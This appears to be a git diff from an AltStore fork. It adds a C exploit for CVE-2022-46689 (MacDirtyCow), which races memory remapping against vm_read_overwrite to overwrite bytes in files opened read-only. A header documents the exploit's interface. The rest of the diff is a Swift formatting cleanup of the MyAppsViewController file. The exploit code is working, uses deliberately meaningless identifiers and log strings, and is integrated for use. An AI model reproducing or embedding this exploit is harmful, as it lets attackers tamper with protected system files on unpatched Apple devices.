T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||||
|
|
||||||
|
/* allocate a source buffer for the unaligned copy */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e5,
|
||||||
|
ctx->ob_sizing * 2,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||||
|
/* initialize to 'C' */
|
||||||
|
memset((char *)e5, 'C', ctx->ob_sizing * 2);
|
||||||
|
|
||||||
|
char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1);
|
||||||
|
memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data);
|
||||||
|
|
||||||
|
int overwrite_first_diff_offset = -1;
|
||||||
|
char overwrite_first_diff_value = 0;
|
||||||
|
for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) {
|
||||||
|
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||||
|
overwrite_first_diff_offset = off;
|
||||||
|
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (overwrite_first_diff_offset == -1) {
|
||||||
|
//b=no diff?
|
||||||
|
fprintf(stderr, "uewiyfih");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* get a handle on some writable memory that will be temporarily
|
||||||
|
* switched with the read-only mapping of our target memory to try
|
||||||
|
* and trick copy_unaligned to write to our read-only target.
|
||||||
|
*/
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||||
|
/* initialize to 'D' */
|
||||||
|
memset((char *)tmp_addr, 'D', ctx->ob_sizing);
|
||||||
|
/* get a memory entry handle for that RW memory */
|
||||||
|
mo_size = ctx->ob_sizing;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
tmp_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
&ctx->memory_entry_r_w,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||||
|
//c=wrong mem_entry size
|
||||||
|
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow");
|
||||||
|
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||||
|
tmp_addr = 0;
|
||||||
|
|
||||||
|
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||||
|
|
||||||
|
/* start racing thread */
|
||||||
|
ret = pthread_create(&th, NULL, sro_thread, (void *)ctx);
|
||||||
|
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||||
|
|
||||||
|
/* wait for racing thread to be ready to run */
|
||||||
|
dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER);
|
||||||
|
|
||||||
|
duration = 10; /* 10 seconds */
|
||||||
|
// T_LOG("Testing for %ld seconds...", duration);
|
||||||
|
for (start = time(NULL), loops = 0;
|
||||||
|
time(NULL) < start + duration;
|
||||||
|
loops++) {
|
||||||
|
/* reserve space for our 2 contiguous allocations */
|
||||||
|
e2 = 0;
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e2,
|
||||||
|
2 * ctx->ob_sizing,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||||
|
|
||||||
|
/* make 1st allocation in our reserved space */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e2,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||||
|
/* initialize to 'B' */
|
||||||
|
memset((char *)e2, 'B', ctx->ob_sizing);
|
||||||
|
|
||||||
|
/* map our read-only target memory right after */
|
||||||
|
ctx->vmaddress_zeroe = e2 + ctx->ob_sizing;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->vmaddress_zeroe,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||||
|
ctx->memory_entry_r_o,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||||
|
|
||||||
|
/* let the racing thread go */
|
||||||
|
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||||
|
/* wait a little bit */
|
||||||
|
usleep(100);
|
||||||
|
|
||||||
|
/* trigger copy_unaligned while racing with other thread */
|
||||||
|
kr = vm_read_overwrite(mach_task_self(),
|
||||||
|
e5,
|
||||||
|
ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data,
|
||||||
|
e2 + 1,
|
||||||
|
&copied_size);
|
||||||
|
T_QUIET;
|
||||||
|
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
|
||||||
|
"vm_read_overwrite kr %d", kr);
|
||||||
|
switch (kr) {
|
||||||
|
case KERN_SUCCESS:
|
||||||
|
/* the target was RW */
|
||||||
|
kern_success++;
|
||||||
|
break;
|
||||||
|
case KERN_PROTECTION_FAILURE:
|
||||||
|
/* the target was RO */
|
||||||
|
kern_protection_failure++;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
/* should not happen */
|
||||||
|
kern_other++;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
/* check that our read-only memory was not modified */
|
||||||
|
#if 0
|
||||||
|
//c = RO mapping was modified
|
||||||
|
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq");
|
||||||
|
#endif
|
||||||
|
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||||
|
|
||||||
|
/* tell racing thread to stop toggling mappings */
|
||||||
|
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||||
|
|
||||||
|
/* clean up before next loop */
|
||||||
|
vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing);
|
||||||
|
ctx->vmaddress_zeroe = 0;
|
||||||
|
vm_deallocate(mach_task_self(), e2, ctx->ob_sizing);
|
||||||
|
e2 = 0;
|
||||||
|
if (!is_still_equal) {
|
||||||
|
retval = true;
|
||||||
|
// fprintf(stderr, "RO mapping was modified\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx->finished = true;
|
||||||
|
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||||
|
pthread_join(th, NULL);
|
||||||
|
|
||||||
|
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||||
|
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||||
|
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||||
|
kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||||
|
|
||||||
|
//#if 0
|
||||||
|
// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||||
|
// kern_success, kern_protection_failure, kern_other);
|
||||||
|
// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||||
|
//#endif
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
8
AltStore/MDCExploit/vm_unalign_csr.h
Normal file
8
AltStore/MDCExploit/vm_unalign_csr.h
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
|
||||||
|
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||||
|
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||||
|
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||||
|
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data);
|
||||||
@@ -6,13 +6,13 @@
|
|||||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||||
//
|
//
|
||||||
|
|
||||||
import UIKit
|
|
||||||
import MobileCoreServices
|
|
||||||
import Intents
|
|
||||||
import Combine
|
import Combine
|
||||||
|
import Intents
|
||||||
|
import MobileCoreServices
|
||||||
|
import UIKit
|
||||||
|
|
||||||
import AltStoreCore
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import AltStoreCore
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
import Nuke
|
import Nuke
|
||||||
@@ -151,8 +151,7 @@ final class MyAppsViewController: UICollectionViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
|
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
|
||||||
{
|
{}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private extension MyAppsViewController
|
private extension MyAppsViewController
|
||||||
@@ -170,7 +169,7 @@ private extension MyAppsViewController
|
|||||||
dynamicDataSource.numberOfSectionsHandler = { 1 }
|
dynamicDataSource.numberOfSectionsHandler = { 1 }
|
||||||
dynamicDataSource.numberOfItemsHandler = { _ in self.updatesDataSource.itemCount == 0 ? 1 : 0 }
|
dynamicDataSource.numberOfItemsHandler = { _ in self.updatesDataSource.itemCount == 0 ? 1 : 0 }
|
||||||
dynamicDataSource.cellIdentifierHandler = { _ in "NoUpdatesCell" }
|
dynamicDataSource.cellIdentifierHandler = { _ in "NoUpdatesCell" }
|
||||||
dynamicDataSource.cellConfigurationHandler = { (cell, _, indexPath) in
|
dynamicDataSource.cellConfigurationHandler = { cell, _, _ in
|
||||||
let cell = cell as! NoUpdatesCollectionViewCell
|
let cell = cell as! NoUpdatesCollectionViewCell
|
||||||
cell.layoutMargins.left = self.view.layoutMargins.left
|
cell.layoutMargins.left = self.view.layoutMargins.left
|
||||||
cell.layoutMargins.right = self.view.layoutMargins.right
|
cell.layoutMargins.right = self.view.layoutMargins.right
|
||||||
@@ -193,7 +192,7 @@ private extension MyAppsViewController
|
|||||||
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
||||||
dataSource.liveFetchLimit = maximumCollapsedUpdatesCount
|
dataSource.liveFetchLimit = maximumCollapsedUpdatesCount
|
||||||
dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
|
dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
|
||||||
dataSource.cellConfigurationHandler = { [weak self] (cell, installedApp, indexPath) in
|
dataSource.cellConfigurationHandler = { [weak self] cell, installedApp, _ in
|
||||||
guard let self = self else { return }
|
guard let self = self else { return }
|
||||||
guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return }
|
guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return }
|
||||||
|
|
||||||
@@ -245,11 +244,12 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
cell.setNeedsLayout()
|
cell.setNeedsLayout()
|
||||||
}
|
}
|
||||||
dataSource.prefetchHandler = { (installedApp, indexPath, completionHandler) in
|
dataSource.prefetchHandler = { installedApp, _, completionHandler in
|
||||||
guard let iconURL = installedApp.storeApp?.iconURL else { return nil }
|
guard let iconURL = installedApp.storeApp?.iconURL else { return nil }
|
||||||
|
|
||||||
return RSTAsyncBlockOperation() { (operation) in
|
return RSTAsyncBlockOperation
|
||||||
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { (response, error) in
|
{ operation in
|
||||||
|
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { response, error in
|
||||||
guard !operation.isCancelled else { return operation.finish() }
|
guard !operation.isCancelled else { return operation.finish() }
|
||||||
|
|
||||||
if let image = response?.image
|
if let image = response?.image
|
||||||
@@ -263,7 +263,7 @@ private extension MyAppsViewController
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
|
dataSource.prefetchCompletionHandler = { cell, image, _, error in
|
||||||
let cell = cell as! UpdateCollectionViewCell
|
let cell = cell as! UpdateCollectionViewCell
|
||||||
cell.bannerView.iconImageView.isIndicatingActivity = false
|
cell.bannerView.iconImageView.isIndicatingActivity = false
|
||||||
cell.bannerView.iconImageView.image = image
|
cell.bannerView.iconImageView.image = image
|
||||||
@@ -288,7 +288,7 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
||||||
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
||||||
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
|
dataSource.cellConfigurationHandler = { cell, installedApp, indexPath in
|
||||||
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
||||||
|
|
||||||
let cell = cell as! InstalledAppCollectionViewCell
|
let cell = cell as! InstalledAppCollectionViewCell
|
||||||
@@ -363,10 +363,13 @@ private extension MyAppsViewController
|
|||||||
cell.bannerView.button.progress = nil
|
cell.bannerView.button.progress = nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchHandler = { (item, indexPath, completion) in
|
dataSource.prefetchHandler = { item, _, completion in
|
||||||
RSTAsyncBlockOperation { (operation) in
|
RSTAsyncBlockOperation
|
||||||
item.managedObjectContext?.perform {
|
{ _ in
|
||||||
item.loadIcon { (result) in
|
item.managedObjectContext?.perform
|
||||||
|
{
|
||||||
|
item.loadIcon
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(let error): completion(nil, error)
|
case .failure(let error): completion(nil, error)
|
||||||
@@ -376,7 +379,7 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
|
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
|
||||||
let cell = cell as! InstalledAppCollectionViewCell
|
let cell = cell as! InstalledAppCollectionViewCell
|
||||||
cell.bannerView.iconImageView.image = image
|
cell.bannerView.iconImageView.image = image
|
||||||
cell.bannerView.iconImageView.isIndicatingActivity = false
|
cell.bannerView.iconImageView.isIndicatingActivity = false
|
||||||
@@ -397,7 +400,7 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
||||||
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
||||||
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
|
dataSource.cellConfigurationHandler = { cell, installedApp, _ in
|
||||||
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
||||||
|
|
||||||
let cell = cell as! InstalledAppCollectionViewCell
|
let cell = cell as! InstalledAppCollectionViewCell
|
||||||
@@ -437,10 +440,13 @@ private extension MyAppsViewController
|
|||||||
cell.bannerView.button.progress = nil
|
cell.bannerView.button.progress = nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchHandler = { (item, indexPath, completion) in
|
dataSource.prefetchHandler = { item, _, completion in
|
||||||
RSTAsyncBlockOperation { (operation) in
|
RSTAsyncBlockOperation
|
||||||
item.managedObjectContext?.perform {
|
{ _ in
|
||||||
item.loadIcon { (result) in
|
item.managedObjectContext?.perform
|
||||||
|
{
|
||||||
|
item.loadIcon
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(let error): completion(nil, error)
|
case .failure(let error): completion(nil, error)
|
||||||
@@ -450,7 +456,7 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
|
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
|
||||||
let cell = cell as! InstalledAppCollectionViewCell
|
let cell = cell as! InstalledAppCollectionViewCell
|
||||||
cell.bannerView.iconImageView.image = image
|
cell.bannerView.iconImageView.image = image
|
||||||
cell.bannerView.iconImageView.isIndicatingActivity = false
|
cell.bannerView.iconImageView.isIndicatingActivity = false
|
||||||
@@ -461,10 +467,7 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
func updateDataSource()
|
func updateDataSource()
|
||||||
{
|
{
|
||||||
|
|
||||||
self.dataSource.predicate = nil
|
self.dataSource.predicate = nil
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -485,7 +488,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
if self.isViewLoaded
|
if self.isViewLoaded
|
||||||
{
|
{
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
self.collectionView.reloadSections(IndexSet(integer: Section.updates.rawValue))
|
self.collectionView.reloadSections(IndexSet(integer: Section.updates.rawValue))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -493,7 +497,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
func fetchAppIDs()
|
func fetchAppIDs()
|
||||||
{
|
{
|
||||||
AppManager.shared.fetchAppIDs { (result) in
|
AppManager.shared.fetchAppIDs
|
||||||
|
{ result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let (_, context) = try result.get()
|
let (_, context) = try result.get()
|
||||||
@@ -509,9 +514,11 @@ private extension MyAppsViewController
|
|||||||
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String: Result<InstalledApp, Error>]) -> Void)
|
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String: Result<InstalledApp, Error>]) -> Void)
|
||||||
{
|
{
|
||||||
let group = AppManager.shared.refresh(installedApps, presentingViewController: self, group: self.refreshGroup)
|
let group = AppManager.shared.refresh(installedApps, presentingViewController: self, group: self.refreshGroup)
|
||||||
group.completionHandler = { (results) in
|
group.completionHandler = { results in
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
let failures = results.compactMapValues { (result) -> Error? in
|
{
|
||||||
|
let failures = results.compactMapValues
|
||||||
|
{ result -> Error? in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(OperationError.cancelled): return nil
|
case .failure(OperationError.cancelled): return nil
|
||||||
@@ -557,7 +564,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
self.refreshGroup = group
|
self.refreshGroup = group
|
||||||
|
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -570,7 +578,6 @@ private extension MyAppsViewController
|
|||||||
let visibleCells = self.collectionView.visibleCells
|
let visibleCells = self.collectionView.visibleCells
|
||||||
|
|
||||||
self.collectionView.performBatchUpdates({
|
self.collectionView.performBatchUpdates({
|
||||||
|
|
||||||
self.isUpdateSectionCollapsed.toggle()
|
self.isUpdateSectionCollapsed.toggle()
|
||||||
|
|
||||||
UIView.animate(withDuration: 0.3, animations: {
|
UIView.animate(withDuration: 0.3, animations: {
|
||||||
@@ -644,8 +651,10 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext)
|
let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext)
|
||||||
|
|
||||||
self.refresh(installedApps) { (result) in
|
self.refresh(installedApps)
|
||||||
DispatchQueue.main.async {
|
{ _ in
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.isRefreshingAllApps = false
|
self.isRefreshingAllApps = false
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||||
}
|
}
|
||||||
@@ -654,7 +663,8 @@ private extension MyAppsViewController
|
|||||||
if #available(iOS 14, *)
|
if #available(iOS 14, *)
|
||||||
{
|
{
|
||||||
let interaction = INInteraction.refreshAllApps()
|
let interaction = INInteraction.refreshAllApps()
|
||||||
interaction.donate { (error) in
|
interaction.donate
|
||||||
|
{ error in
|
||||||
guard let error = error else { return }
|
guard let error = error else { return }
|
||||||
print("Failed to donate intent \(interaction.intent).", error)
|
print("Failed to donate intent \(interaction.intent).", error)
|
||||||
}
|
}
|
||||||
@@ -669,13 +679,17 @@ private extension MyAppsViewController
|
|||||||
let installedApp = self.dataSource.item(at: indexPath)
|
let installedApp = self.dataSource.item(at: indexPath)
|
||||||
|
|
||||||
let previousProgress = AppManager.shared.installationProgress(for: installedApp)
|
let previousProgress = AppManager.shared.installationProgress(for: installedApp)
|
||||||
guard previousProgress == nil else {
|
guard previousProgress == nil
|
||||||
|
else
|
||||||
|
{
|
||||||
previousProgress?.cancel()
|
previousProgress?.cancel()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = AppManager.shared.update(installedApp, presentingViewController: self) { (result) in
|
_ = AppManager.shared.update(installedApp, presentingViewController: self)
|
||||||
DispatchQueue.main.async {
|
{ result in
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(OperationError.cancelled):
|
case .failure(OperationError.cancelled):
|
||||||
@@ -727,11 +741,14 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
var fileURL: URL?
|
var fileURL: URL?
|
||||||
var application: ALTApplication?
|
var application: ALTApplication?
|
||||||
var installedApp: InstalledApp? {
|
var installedApp: InstalledApp?
|
||||||
didSet {
|
{
|
||||||
|
didSet
|
||||||
|
{
|
||||||
self.installedAppContext = self.installedApp?.managedObjectContext
|
self.installedAppContext = self.installedApp?.managedObjectContext
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private var installedAppContext: NSManagedObjectContext?
|
private var installedAppContext: NSManagedObjectContext?
|
||||||
|
|
||||||
var error: Error?
|
var error: Error?
|
||||||
@@ -753,8 +770,10 @@ private extension MyAppsViewController
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
let downloadProgress = Progress.discreteProgress(totalUnitCount: 100)
|
let downloadProgress = Progress.discreteProgress(totalUnitCount: 100)
|
||||||
downloadOperation = RSTAsyncBlockOperation { (operation) in
|
downloadOperation = RSTAsyncBlockOperation
|
||||||
let downloadTask = URLSession.shared.downloadTask(with: url) { (fileURL, response, error) in
|
{ operation in
|
||||||
|
let downloadTask = URLSession.shared.downloadTask(with: url)
|
||||||
|
{ fileURL, response, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let (fileURL, _) = try Result((fileURL, response), error).get()
|
let (fileURL, _) = try Result((fileURL, response), error).get()
|
||||||
@@ -779,7 +798,8 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
|
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
|
||||||
let unzipAppOperation = BlockOperation {
|
let unzipAppOperation = BlockOperation
|
||||||
|
{
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if let error = context.error
|
if let error = context.error
|
||||||
@@ -788,7 +808,8 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
|
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
|
||||||
defer {
|
defer
|
||||||
|
{
|
||||||
try? FileManager.default.removeItem(at: fileURL)
|
try? FileManager.default.removeItem(at: fileURL)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -813,7 +834,8 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
|
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
|
||||||
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
let removeAppExtensionsOperation = RSTAsyncBlockOperation
|
||||||
|
{ [weak self] operation in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if let error = context.error
|
if let error = context.error
|
||||||
@@ -823,8 +845,10 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
guard let application = context.application else { throw OperationError.invalidParameters }
|
guard let application = context.application else { throw OperationError.invalidParameters }
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
self?.removeAppExtensions(from: application) { (result) in
|
{
|
||||||
|
self?.removeAppExtensions(from: application)
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success: removeAppExtensionsProgress.completedUnitCount = 1
|
case .success: removeAppExtensionsProgress.completedUnitCount = 1
|
||||||
@@ -844,7 +868,8 @@ private extension MyAppsViewController
|
|||||||
progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
|
progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
|
||||||
|
|
||||||
let installProgress = Progress.discreteProgress(totalUnitCount: 100)
|
let installProgress = Progress.discreteProgress(totalUnitCount: 100)
|
||||||
let installAppOperation = RSTAsyncBlockOperation { (operation) in
|
let installAppOperation = RSTAsyncBlockOperation
|
||||||
|
{ operation in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if let error = context.error
|
if let error = context.error
|
||||||
@@ -854,7 +879,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
guard let application = context.application else { throw OperationError.invalidParameters }
|
guard let application = context.application else { throw OperationError.invalidParameters }
|
||||||
|
|
||||||
let group = AppManager.shared.install(application, presentingViewController: self) { (result) in
|
let group = AppManager.shared.install(application, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success(let installedApp): context.installedApp = installedApp
|
case .success(let installedApp): context.installedApp = installedApp
|
||||||
@@ -873,7 +899,8 @@ private extension MyAppsViewController
|
|||||||
installAppOperation.completionBlock = {
|
installAppOperation.completionBlock = {
|
||||||
try? FileManager.default.removeItem(at: temporaryDirectory)
|
try? FileManager.default.removeItem(at: temporaryDirectory)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.navigationItem.leftBarButtonItem?.isIndicatingActivity = false
|
self.navigationItem.leftBarButtonItem?.isIndicatingActivity = false
|
||||||
self.sideloadingProgressView.observedProgress = nil
|
self.sideloadingProgressView.observedProgress = nil
|
||||||
self.sideloadingProgressView.setHidden(true, animated: true)
|
self.sideloadingProgressView.setHidden(true, animated: true)
|
||||||
@@ -883,12 +910,13 @@ private extension MyAppsViewController
|
|||||||
case .success(let app):
|
